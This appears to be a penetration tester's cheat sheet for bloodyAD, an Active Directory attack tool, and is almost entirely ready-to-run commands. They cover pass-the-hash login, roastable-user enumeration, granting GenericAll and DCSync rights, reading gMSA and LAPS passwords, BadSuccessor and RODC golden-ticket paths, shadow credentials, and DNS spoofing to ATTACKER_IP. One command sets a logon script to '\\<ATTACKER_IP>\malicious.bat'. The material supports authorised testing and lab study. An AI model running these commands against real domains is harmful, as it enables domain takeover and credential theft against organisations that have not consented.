This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.
Installation
1
| pipx install git+https://github.com/CravateRouge/bloodyAD
|
Authentication
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' ...<SNIP>....
|
1
| bloodyAD --host $IP -d lab.local -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>....
|
- Kerberos (FQDN required -> example: DC01.lab.local)
1
| bloodyAD --host $FQDN -d lab.local -k ...<SNIP>....
|
Enumeration
ACLs/DACL Enum
- Enumerate object attributes where we have WRITABLE access (very useful for checking permissions that don’t appear in BloodHound)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get writable --detail
|
- Get all securityDescriptors of an object (very useful to manually enumerate the entire DACL list of an object searching for permissions that don’t appear in BloodHound)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntsecuritydescriptor --resolve-sd
|
Domain Enumeration
- Get all available information for a user
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER'
|
- Get all critical information for a user
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
|
- Get group membership for a user/group/computer
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr memberOf
|
- Get a list of all members of a group
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get membership 'TARGET_GROUP'
|
- Get a list of all users (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype useronly
|
- Get a list of all groups (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype group
|
- Get a list of all computers (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype computer
|
- Get a list of all Organizational Units (OUs) (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype container
|
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomain
|
- Get a list of all accounts with an SPN (servicePrincipalName) assigned {Kerberoastable users}
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
|
- Get a list of all accounts with the
DONT_REQ_PREAUTH flag {AS-REP Roastable users}
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
- Get the total available Machine Quota
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
|
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version
|
- Get the domain minimum password length
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength
|
ACL & Object Attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'
|
- Add a cross-forest/cross-domain user to a group (Bidirectional Trust)
Note: Imagine a bidirectional trust where users from lab.local can authenticate on moneycorp.corp. To add a user or group from lab.local (for example, gzzcoo) to a group in moneycorp.corp, you must point bloodyAD to the target Domain Controller (DC2.moneycorp.corp) but authenticate with the source domain (-d lab.local). Since objects from lab.local don’t natively exist in the target domain’s LDAP directory, you must use their SID from the source domain (lab.local). This SID can belong to any user or group in lab.local that you want to add to the target group in moneycorp.corp.
1
| bloodyAD --host DC2.moneycorp.corp -d lab.local -u 'gzzcoo' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=MONEYCORP,DC=CORP' 'S-1-5-21-854245398-3134732156-1229272821-4521'
|
- Remove a user from a group
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' delete groupMember 'GROUP_NAME' 'MEMBER_TO_DELETE'
|
- Make a user the owner of an object (Usually via the
WriteOwner ACL)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'TARGET_USER'
|
- Add ‘GenericAll’ (Full Control) permissions to an object
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add genericAll 'DN_TARGET' 'TARGET_USER'
|
- Enable a disabled account
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE
|
- Add DCSync permissions to an object
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
|
- Add a malicious script to a user that executes upon login (scriptPath)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
|
- Modify the UPN (userPrincipalName) for ADCS/UPN Spoofing attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'
|
- Modify a user’s mail attribute
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' mail -v 'pwned@lab.local'
|
- Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'
|
- Create a new computer account
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'
|
- Abuse
CREATE_CHILD on an OU in Windows Server 2025 - dMSA (BadSuccessor)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add badSuccessor attacker_dMSA
|
- Modify a group’s scope/type (Bypass direct scope change restrictions)
Note: Active Directory prevents direct conversion between certain scopes (e.g., from Global to Domain Local). To bypass this restriction, you must use a Universal group as an intermediate step.
Change to Security Universal Group (-2147483640):
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483640
|
Change to Domain Local Security Group (-2147483644):
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483644
|
RODC Attacks (RODC Golden Ticket)
With administrative control over an RODC (Read-Only Domain Controller) computer object in Active Directory (e.g., GenericWrite, GenericAll, WriteDacl, WriteOwner), there is a path to fully compromise the domain. By modifying the RODC’s Password Replication Policy (PRP) via the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup attributes, an attacker can allow a Domain Admin’s credentials to be cached on the RODC, log in to the RODC, and dump the credentials.
- Get original
msDS-RevealOnDemandGroup values of the RODC object
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroup
|
- Add the target high-privileged user (e.g., Administrator) to the allowed replication group alongside the original values obtained previously
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'
|
- Clear or modify the
msDS-NeverRevealGroup attribute to ensure the target admin is not prevented from replicating
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroup
|
Password Attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'Gzzcoo123'
|
- Read a computer’s gMSA password
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPassword
|
- Read a computer’s LAPS password
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
Kerberos Attacks
- Enable
DONT_REQ_PREAUTH to make a user AS-REP Roastable
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH
|
- Shadow Credentials Attack (requires PKINIT afterwards)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'
|
- Add the
TRUSTED_TO_AUTH_FOR_DELEGATION flag - Unconstrained Delegation
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION
|
- Add the
DELEGATE_TO flag - Resource-based Constrained Delegation
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'
|
- Assign an SPN to a user to make them Kerberoastable
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/gzzcoo'
|
- Remove the previously added SPN
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove object 'TARGET' servicePrincipalName
|
DNS Attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump > dnsdump.txt
|
- Create a new DNS record to perform DNS Spoofing attacks
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'
|
Restore AD Objects
https://cravaterouge.com/articles/ad-bin/
- Check if we have permissions to restore deleted objects (can also be seen with
get writable --detail if we have ACLs over other users).
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'
|
- Check for deleted users in AD
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,description
|
- Restore a deleted user in AD (you can use the GUID, SID, DN, or sAMAccountName)
1
| bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set restore 'S-1-5-21-3927696377-1337352550-2781715495-1110'
|
References / Useful Pages